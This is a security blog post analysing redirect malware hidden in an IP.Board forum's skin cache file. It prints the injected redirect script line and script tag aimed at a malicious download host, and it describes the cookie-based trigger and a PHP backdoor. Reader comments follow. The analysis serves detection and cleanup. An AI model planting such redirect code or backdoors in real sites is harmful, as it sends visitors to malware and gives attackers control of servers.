Analyzing Malicious Redirects in the IP.Board CMS

Although the majority of our posts describe WordPress and Joomla attacks (no wonder, given their market-share), there are still attacks that target smaller CMS’s and we help clean all kinds of sites. This post will be about conditional redirects in IP.Board forums (currently #27 with 0.3% of the CMS market).

Conditional Redirects

The symptoms of the problem were typical. Some (not all) visitors who clicked on Google search results were redirected to a malicious site filestore321 .com/download .php?id=hexnumber. The redirect worked only once per visitor and subsequent attempts to trigger it would fail.

We captured the HTTP traffic and figured out that the web page loaded this script hxxp://forum .hackedsite .com/index.php?ipbv=4458734cb50e112ba7dd3a154b22ecd9&g=js with the following content:

document.location='hxxp://filestore321 .com/download .php?id=8-digit-hex-number'

On subsequent page loads that script was absent in the HTML code. If we tried to load it directly, it was blank (or contained only legitimate code on some sites).

How it Works

Since the IP.Board platform (with its code distributed across multiple database tables and files) was not as familiar to me as, say, WordPress, it took quite a few time to find the source of the redirects. I should admit that this two year old Peter Upfold’s article really helped me (make sure to read it — I like his thought process and approach to investigation). It appeared that this redirect malware is not new and it hasn’t changed much since that time.

To avoid reciting Peter’s article, I’ll focus here on how that malware works and explain its behavior.

IP.Board uses skins (think themes in WordPress or templates in Joomla), that are stored both in its database and in files on disk. In case of the disk cache, skin files can be found under ./cache/skin_cache/cacheid_n, where n is a number of a skin set. In this case, the infected file was skin_global.php under ./cache/skin_cache/cacheid_4.

Malware in skin_global.php

Malware in skin_global.php

These 6 highlighted lines of malicious code were found in the middle of a large 120 Kb skin file.

You can see 3 long encrypted lines, whose variable names ($rsa, $pka, $pkb) make them look as some security keys.

When de-obfuscated, we see this code

Malware in skin_global.php

Decoded IP.Board Redirection Code

First, it checks if a visitor is coming from search engine results or a social network link and that the visit is not from some search engine spider. For real visitors, if it was their first visit (no lang_id cookie) it injects an additional script into a webpage which ends up looking like this in the HTML:

<script type='text/javascript' src='hxxp://hackedsite .com/index.php?ipbv=<some-hash>&g=js'>

Then, when the victims browser requests that extra script, it checks if that visitor already loaded the redirect script (via the lang_id cookie). If it’s the first time then sets the lang_id cookie for the next 10 hours and returns the redirect code.

Interestingly enough, this code doesn’t count browser “prefetch” requests as real visits and only sets the lang_id cookie if requests have no HTTP_X_MOZ header.

The same code can also be found in the prefix_skin_cache table of the IP.Board database. Malware should be removed from both files and the database to clear the site.


In addition to the redirect code, this malware also has a backdoor that allows attackers to craft a special POST request to execute arbitrary PHP code on a compromised server.

Having analyzed the skin files, I think I know how this backdoor might have been used in this particular attack.

Each skin file has the following comment in its header:

/* CACHE FILE: Skin set id: 4 */
/* CACHE FILE: Generated: Fri, 19 Dec 2014 10:28:00 GMT */

It tells when exactly it was generated. On the server that I worked with, all skin cache files were generated on Dec 19th, 2014, except for the infected skin_global.php which was generated on Jan 11th, 2015. However, the skin_global.php‘s file modification date was Dec 19th, 2014 – the same as for all the rest files.

This makes me think that the attackers injected the malicious code from IP.Board standard interface (either stole passwords or used some vulnerability to get access to it). They updated the skin cache file. To hide this from webmasters who might want to check recently changed files, the attackers then used the backdoor in the skin to change the modification date of the infected file.

This is how I see the attack scenario given my close to none experience with IP.Board sites. If you have a better understanding of this platform and see some flaws in my scenario, please correct me in the comments.


This IP.Board malware attack has been around for at least two years now. The main difference between the 2015’s version from its 2013’s predecessor described in the Peter Upfold’s blog post is the redirect URL: filestore321 . com instead of url4short . info.

Both of them are hosted on the IP address (Access Integrated Technologies, Inc., USA)

This IP address also hosts a few similar domains, all of which are known for malicious activity.

filestore321 .com - Created on 2011-01-27 - Expires on 2016-01-27 - Updated on 2015-01-05
url4short .info. - Created on 2011-01-27 - Expires on 2016-01-27 - Updated on 2015-01-05 - Created on 2010-02-17 - Expires on 2015-02-17 - Updated on 2014-01-03 - Created on 2011-01-07 - Expires on 2016-01-07 - Updated on 2014-10-10 - Created on 2010-02-03 - Expires on 2016-02-03 - Updated on 2015-01-05 - Created on 2010-10-14 - Expires on 2015-10-14 - Updated on 2014-10-10

Right now I can see those sites conditionally redirecting to URLs like this

hxxp://oognyd96wcqbh6nmzdf0erj .ekabil .com/index .php?g=d3F3eGFnPXhnc2h6dGxzJnRpbWU9MTUwMjA0MTEyODIyNjQ1NTQ4MDcmc3JjPTc2JnN1cmw9dXJsNHNob3J0LmluZm8mc3BvcnQ9ODAma2V5PTJBOTZEMjlEJnN1cmk9L3ByaXZhY3kuaHRtbA==

One thing that you might have noticed is that it appears the domains being leveraged were used in a similar campaign back in 2012 against the vBulletin platform, targeting the now defunk VBSEO extension.

  1. Hi. I have my forum infected with this virus. So there are some more details:
    1) At least change all administrator passwords. I’ve got infected second time by a bot, that logged in to admin panel with admin login.
    2) You won’t see that loging in admin CP logs because virus deletes that particular log record.

    1. I have no idea, but am having the same issue at the moment, I have even changed servers!

  2. Thank you for your research. I found the injected code exactly where you said it would be.

    I really need to know how to prevent repeated attacks though….. 🙁

  3. Thanks for the research and the post. I was getting redirects to the url4short domain on clicking some Google search results and traced it down to a specific site causing it. This confirmed for me that it was the site compromised and how to test it. I just sent the site owners an E-mail linking your post and explaining that their site is compromised! So hopefully one less compromised site in a day or two. 🙂

Comments are closed.

You May Also Like